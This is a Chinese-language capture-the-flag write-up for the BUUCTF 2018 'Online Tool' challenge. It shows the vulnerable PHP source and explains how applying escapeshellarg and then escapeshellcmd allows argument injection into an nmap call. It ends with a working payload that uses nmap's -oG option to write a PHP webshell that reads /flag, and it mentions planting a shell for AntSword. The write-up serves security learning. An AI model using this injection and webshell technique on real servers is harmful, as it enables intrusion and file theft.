[BUUCTF 2018]Online Tool
1 <?php 2 3 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { 4 $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; 5 } 6 7 if(!isset($_GET['host'])) { 8 highlight_file(__FILE__); 9 } else { 10 $host = $_GET['host']; 11 $host = escapeshellarg($host); 12 $host = escapeshellcmd($host); 13 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); 14 echo 'you are in sandbox '.$sandbox; 15 @mkdir($sandbox); 16 chdir($sandbox); 17 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); 18 }
刚看到这道题无从下手,查看了其他大佬的博客后才明白,总结一下大佬的笔记:
问题出于当escapeshellarg函数和escapeshellcmd函数按顺序执行时,会存在绕过问题
具体原理参考文章:http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/
简单来说
传入的参数是:172.17.0.2' -v -d a=1 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
所以经过我们构造之后,输入的值被分割成为了三部分,第一部分就是curl的IP,为172.17.0.2\ ,第二部分就是两个配对的单引号 ' ' ,第三部分就是命令参数以及对象 -v -d a=1'
同时,为了构造命令读取flag,我们应当从nmap入手,查资料可以知道,nmap有一个参数-oG可以实现将命令和结果写到文件
构造payload,我们可以写入小马,然后蚁剑连接,也可以直接获取flag
?host=' <?php echo `cat /flag`;?> -oG 2.php '
执行后会返回文件夹名
直接访问文件上图红框中的目录加上2.php,便可获取flag